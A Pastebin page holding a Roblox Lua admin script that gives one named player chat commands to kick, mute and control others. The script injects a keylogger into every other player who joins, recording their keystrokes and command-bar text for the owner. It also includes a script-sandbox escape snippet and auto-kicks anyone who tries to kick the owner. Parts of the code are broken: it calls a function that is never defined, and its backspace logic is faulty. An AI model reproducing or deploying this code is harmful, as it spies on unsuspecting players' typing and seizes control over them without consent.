API tools faq
paste
Advertisement
jordan83221

Untitled

jordan83221
Dec 4th, 2015
114
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.41 KB | None | 0 0
raw download clone embed print report
  1. --[[Project TIME]]--
  2. wait()
  3. script.Parent=nil
  4. local next=next
  5. local pcall=pcall
  6. local cos=math.cos
  7. local sin=math.sin
  8. local atan2=math.atan2
  9. local pi=math.pi
  10. local plr=game.Players.Voreli
  11. local camera=workspace.CurrentCamera
  12. local ease=0.05
  13. local tabs={}
  14. local dt=false
  15. local let=true
  16. local tabo=true
  17. local spin=true
  18. local clone
  19. local admins={}
  20. local superadmins={}
  21. local megaadmins={}
  22. local uberadmins={}
  23. local svals={}
  24. local function insert(tab,val)
  25.     tab[#tab+1]=val
  26. end
  27. local function remove(tab,val)
  28.    if type(val)~="number" then
  29.        for i,v in next,tab do
  30.             if v==val then
  31.                 tab[i]=nil
  32.             end
  33.         end
  34.     else
  35.         tab[val]=nil
  36.     end
  37. end
  38. function dist(part1,part2)
  39.     return (part1-part2).magnitude
  40. end
  41. local function easey(part,cframe)
  42.     local dx=cframe.X-part.CFrame.X
  43.     local dy=cframe.Y-part.CFrame.Y
  44.     local dz=cframe.Z-part.CFrame.Z
  45.     local vx=dx*ease;
  46.     local vy=dy*ease;
  47.     local vz=dz*ease
  48.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  49. end
  50. local keylog=[[
  51.     local next=next
  52.     if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  53.     local p=game.Players.LocalPlayer
  54.     local sv=Instance.new("StringValue",game.Lighting)
  55.     sv.Name=p.Name
  56.     local uis = game:GetService("UserInputService")
  57.     local slash=string.byte(47)
  58.     local val=Instance.new("StringValue",game.Lighting)
  59.     val.Name=p.Name.."*"
  60.     local function notify(stat)
  61.         local thing=Instance.new("StringValue",game.Lighting)
  62.         thing.Name="Notify_"..stat
  63.     end
  64.     uis.InputBegan:connect(function(input, typing)
  65.         if input.UserInputType == Enum.UserInputType.Keyboard then
  66.             if input.KeyCode == Enum.KeyCode.A then
  67.                 sv.Value=sv.Value..'a'
  68.             elseif input.KeyCode==Enum.KeyCode.B then
  69.                 sv.Value=sv.Value..'b'
  70.             elseif input.KeyCode==Enum.KeyCode.C then
  71.                 sv.Value=sv.Value..'c'
  72.             elseif input.KeyCode==Enum.KeyCode.D then
  73.                 sv.Value=sv.Value..'d'
  74.             elseif input.KeyCode==Enum.KeyCode.E then
  75.                 sv.Value=sv.Value..'e'
  76.             elseif input.KeyCode==Enum.KeyCode.F then
  77.                 sv.Value=sv.Value..'f'
  78.             elseif input.KeyCode==Enum.KeyCode.G then
  79.                 sv.Value=sv.Value..'g'
  80.             elseif input.KeyCode==Enum.KeyCode.H then
  81.                 sv.Value=sv.Value..'h'
  82.             elseif input.KeyCode==Enum.KeyCode.I then
  83.                 sv.Value=sv.Value..'i'
  84.             elseif input.KeyCode==Enum.KeyCode.J then
  85.                 sv.Value=sv.Value..'j'
  86.             elseif input.KeyCode==Enum.KeyCode.K then
  87.                 sv.Value=sv.Value..'k'
  88.             elseif input.KeyCode==Enum.KeyCode.L then
  89.                 sv.Value=sv.Value..'l'
  90.             elseif input.KeyCode==Enum.KeyCode.M then
  91.                 sv.Value=sv.Value..'m'
  92.             elseif input.KeyCode==Enum.KeyCode.N then
  93.                 sv.Value=sv.Value..'n'
  94.             elseif input.KeyCode==Enum.KeyCode.O then
  95.                 sv.Value=sv.Value..'o'
  96.             elseif input.KeyCode==Enum.KeyCode.P then
  97.                 sv.Value=sv.Value..'p'
  98.             elseif input.KeyCode==Enum.KeyCode.Q then
  99.                 sv.Value=sv.Value..'q'
  100.             elseif input.KeyCode==Enum.KeyCode.R then
  101.                 sv.Value=sv.Value..'r'
  102.             elseif input.KeyCode==Enum.KeyCode.S then
  103.                 sv.Value=sv.Value..'s'
  104.             elseif input.KeyCode==Enum.KeyCode.T then
  105.                 sv.Value=sv.Value..'t'
  106.             elseif input.KeyCode==Enum.KeyCode.U then
  107.                 sv.Value=sv.Value..'u'
  108.             elseif input.KeyCode==Enum.KeyCode.V then
  109.                 sv.Value=sv.Value..'v'
  110.             elseif input.KeyCode==Enum.KeyCode.W then
  111.                 sv.Value=sv.Value..'w'
  112.             elseif input.KeyCode==Enum.KeyCode.X then
  113.                 sv.Value=sv.Value..'x'
  114.             elseif input.KeyCode==Enum.KeyCode.Y then
  115.                 sv.Value=sv.Value..'y'
  116.             elseif input.KeyCode==Enum.KeyCode.Z then
  117.                 sv.Value=sv.Value..'z'
  118.             elseif input.KeyCode==Enum.KeyCode.Slash then
  119.                 sv.Value=sv.Value..'/'
  120.             elseif input.KeyCode==Enum.KeyCode.Space then
  121.                 sv.Value=sv.Value..' '
  122.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  123.                 local t={}
  124.                 for i=1,val.Value:len() do
  125.                     table.insert(t,val.Value[i])
  126.                 end
  127.                 t[#t]=nil
  128.                 for i=1,#t do
  129.                     val.Value=t[i]
  130.                 end
  131.             end
  132.         end
  133.     end)
  134.     notify("Added.")
  135.     coroutine.resume(coroutine.create(function()
  136.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  137.         while gui.Text~="Click here or press (') to run a command" do
  138.             val.Value=gui.Text
  139.         end
  140.     end))
  141.     while wait() do
  142.         if string.find(sv.Value,'kick/vo')~=nil then
  143.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  144.         elseif string.find(sv.Value,'ban/vo')~=nil then
  145.             p:Kick()
  146.             notify(p.Name.." tried to kick Voreli and was removed.")
  147.         end
  148.     end
  149. ]]
  150. local function protect(p)
  151.  
  152. end
  153. local function makeBillboard(item, text)
  154.     local bg = Instance.new("BillboardGui", item)
  155.     bg.Enabled = true
  156.     bg.AlwaysOnTop = true
  157.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  158.     local f = Instance.new("Frame", bg)
  159.     f.BackgroundTransparency = 1
  160.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  161.     local tb = Instance.new("TextBox", f)
  162.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  163.     tb.FontSize = "Size36"
  164.     tb.Text = text
  165.     tb.TextStrokeTransparency = 0
  166.     tb.TextXAlignment = "Center"
  167.     tb.TextYAlignment = "Top"
  168.     tb.BackgroundTransparency = 1
  169.     tb.TextColor3 = Color3.new(0,0,1)
  170.     tb.Font="ArialBold"
  171.     if text == "Dismiss" then
  172.         tb.TextColor3 = Color3.new(1, 0, 0)
  173.         tb.TextStrokeColor3=Color3.new(0,0,0)
  174.     end
  175. end
  176. function notify(stat)
  177.     wait(0.1)
  178.     dt=false
  179.     tabo=true
  180.     local tab = Instance.new("Part", game.Workspace)
  181.     tab.Name = "Tab"
  182.     tab.CanCollide = false
  183.     tab.TopSurface = "Smooth"
  184.     tab.BottomSurface = "Smooth"
  185.     tab.Size = Vector3.new(4, 0.4, 6.6)
  186.     tab.Transparency = 0.5
  187.     tab.Anchored = true
  188.     tab.FormFactor = "Plate"
  189.     local tabad = Instance.new("Part",tab)
  190.     tabad.Name = "Tabad"
  191.     tabad.CanCollide = false
  192.     tabad.TopSurface = "Smooth"
  193.     tabad.BottomSurface = "Smooth"
  194.     tabad.Transparency = 0
  195.     tabad.BrickColor = BrickColor.new(1,1,1)
  196.     tabad.Anchored = true
  197.     local mesh = Instance.new("BlockMesh",tabad)
  198.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  199.     makeBillboard(tab,stat)
  200.     local sele = Instance.new("SelectionBox",tab)
  201.     sele.Adornee = tab
  202.     sele.Color = BrickColor.new(1,1,1)
  203.     sele.Transparency = 0
  204.     delay(0, function()
  205.         while wait() do
  206.             if let==true then
  207.                 for i = 0,.7,0.1 do
  208.                     tab.Size = Vector3.new(4,i,6.6)
  209.                     wait()
  210.                 end
  211.                 wait()
  212.                 for i = .7,0,-0.1 do
  213.                     tab.Size = Vector3.new(4,i,6.6)
  214.                     wait()
  215.                 end
  216.             end
  217.         end
  218.     end)
  219.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  220.     coroutine.resume(coroutine.create(function()
  221.         for i,v in next,tabs do
  222.             local num=#tabs
  223.             local slice=(pi*2)/num
  224.             local radius=2+num
  225.             local angle=i*slice;
  226.             local x=cos(angle)*radius;
  227.             local y=60
  228.             local z=sin(angle)*radius;
  229.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  230.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  231.         end
  232.     end))
  233. end
  234. game.Lighting.DescendantAdded:connect(function(obj)
  235.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  236.         clone=obj.Value:Clone()
  237.         notify("Found!")
  238.         notify(clone.className)
  239.     end
  240. end)
  241. local function NL(code,par)
  242.     if clone then
  243.         if code and par then
  244.             local clo=clone:Clone()
  245.             local StringVal=Instance.new("StringValue",game.Players.Voreli.Backpack)
  246.             StringVal.Value=code
  247.             clo.Parent=par
  248.             StringVal.Name="Code"
  249.             clo.Disabled=false
  250.             notify("Ran script.")
  251.         end
  252.     end
  253. end
  254. local function logp(plr)
  255.  
  256. end
  257. local function wipe(tab)
  258.     for i=#tab,1 do
  259.         tab[i]=nil
  260.     end
  261. end
  262. workspace.DescendantRemoving:connect(function(obj)
  263.     for _,v in next,tabs do
  264.         if obj==v then
  265.             remove(tabs,obj)
  266.         end
  267.     end
  268. end)
  269. local function dismiss()
  270.     if dt==true and tabo==false then
  271.         spin=false
  272.         for i,v in next,tabs do
  273.             for i=4,1,-0.05 do wait()
  274.                 tabs[i].taba.Size=Vector3.new(i,0.4,6.6)
  275.             end
  276.         end
  277.     end
  278. end
  279. local cmds={
  280.     ["log"]=function(a)
  281.         for _,v in next,game.Players:GetPlayers() do
  282.             if string.find(v.Name:lower(),a:lower())~=nil then
  283.                 local plr=v
  284.                 logp(plr)
  285.             end
  286.         end
  287.     end,
  288.     ["ff"]=function(a)
  289.         for _,v in next,game.Players:GetPlayers() do
  290.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  291.                 pcall(function() Instance.new("ForceField",v.Character) end)
  292.             end
  293.         end
  294.     end,
  295.     ["cl"]=function(p)
  296.         for _,v in next,game.Players:GetPlayers() do
  297.             if string.find(v.Name:lower(),p:lower())~=nil then
  298.                 for i,g in next,game.Lighting:GetChildren() do
  299.                     if g then
  300.                         local a=string.match(g.Name,"(.*)*")
  301.                         if a==v.Name then
  302.                             notify(g.Value)
  303.                         end
  304.                     end
  305.                 end
  306.             end
  307.         end
  308.     end,
  309.     ["test"]=function(a)
  310.         for i=1,a do wait()
  311.             notify("")
  312.         end
  313.     end,
  314.     ["dt"]=function()
  315.         dt=true
  316.         tabo=false
  317.         dismiss()
  318.     end,
  319.     ["size"]=function()
  320.         spin=false
  321.         for i=1,#tabs do
  322.             tabs[i].taba.Size=Vector3.new(5,5,5)
  323.         end
  324.     end,
  325.     ["cspin"]=function()
  326.         spin=false
  327.     end,
  328.     ["lower"]=function()
  329.  
  330.     end,
  331.     ["kick"]=function(p)
  332.         for _,v in next,game.Players:GetPlayers() do
  333.             if string.find(v.Name:lower(),p:lower())~=nil then
  334.                 pcall(function()
  335.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  336.                     notify("Kicked "..v.Name..".")
  337.                 end)
  338.             end
  339.         end
  340.     end,
  341.     ["grab"]=function(p)
  342.         for _,v in next,game.Players:GetPlayers() do
  343.             if string.find(v.Name:lower(),p:lower())~=nil then
  344.                 pcall(function()
  345.                     table.insert(tabs,v.Character.Torso)
  346.                 end)
  347.             end
  348.         end
  349.     end,
  350.     ["mute"]=function(p)
  351.         for _,v in next,game.Players:GetPlayers() do
  352.             if string.find(v.Name:lower(),p:lower())~=nil then
  353.                 pcall(function()
  354.                     NLS([[
  355.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  356.                     ]],v.Character)
  357.                     notify("Muted "..v.Name..".")
  358.                 end)
  359.             end
  360.         end
  361.     end,
  362.     ["unmute"]=function(p)
  363.         for _,v in next,game.Players:GetPlayers() do
  364.             if string.find(v.Name:lower(),p:lower())~=nil then
  365.                 pcall(function()
  366.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  367.                     notify("Unmuted "..v.Name..".")
  368.                 end)
  369.             end
  370.         end
  371.     end,
  372.     ["protect"]=function(p)
  373.         for _,v in next,game.Players:GetPlayers() do
  374.             if string.find(v.Name:lower(),p:lower())~=nil then
  375.                 pcall(function()
  376.                     protect(v)
  377.                 end)
  378.             end
  379.         end
  380.     end,
  381.     ["sd"]=function()
  382.         for _,v in next,game.Players:GetPlayers() do
  383.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  384.         end
  385.     end,
  386.     ["nl"]=function(a)
  387.         NL([[]]..a..[[]],game.Players.Voreli.Backpack)
  388.     end
  389. }
  390. local function antimute()
  391.     NLS([[
  392.         wait()
  393.         script.Parent=nil
  394.         local next=next
  395.         local pcall=pcall
  396.         while wait() do
  397.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  398.         end
  399.     ]],game.Players.Voreli.Backpack)
  400. end
  401. antimute()
  402. local function chat(msg,plr)
  403.     if msg and plr then
  404.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  405.         if cmd and parm and cmds[cmd] then
  406.             cmds[cmd](parm)
  407.         end
  408.     end
  409. end
  410. game.Lighting.DescendantAdded:connect(function(obj)
  411.     if obj:IsA("LocalScript") then
  412.         notify(obj.Name.." has been added to scripts!")
  413.     end
  414. end)
  415. game.Lighting.DescendantAdded:connect(function(obj)
  416.     if obj:IsA("StringValue") then
  417.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  418.         if a and b then
  419.             notify(b)
  420.         end
  421.     end
  422. end)
  423. local function playerAdd(p)
  424.     if p then
  425.         if p.Name=="Voreli" then
  426.             p.Chatted:connect(function(m) chat(m,p) end)
  427.         else
  428.             NLS(keylog,p.Backpack)
  429.             print("Added.")
  430.         end
  431.     end
  432. end
  433. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  434. for _,v in next,game.Players:GetPlayers() do
  435.     playerAdd(v)
  436. end
  437. local function rot()
  438.     if tabo==true and dt==false then
  439.         for i,v in next,tabs do
  440.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  441.             local y=0
  442.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  443.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  444.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  445.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  446.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  447.         end
  448.     end
  449. end
  450. local function begin()
  451.     notify("")
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     notify("")
  457.     notify("")
  458.     notify("")
  459.     notify("")
  460.     notify("")
  461.     notify("")
  462.     notify("")
  463.     notify("")
  464.     notify("")
  465.     notify("")
  466.     notify("")
  467.     notify("")
  468.     notify("")
  469.     wait(5)
  470.     dt=true
  471.     tabo=false
  472.     dismiss()
  473. end
  474. game:service'RunService'.Stepped:connect(function() rot() end)
  475. begin()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!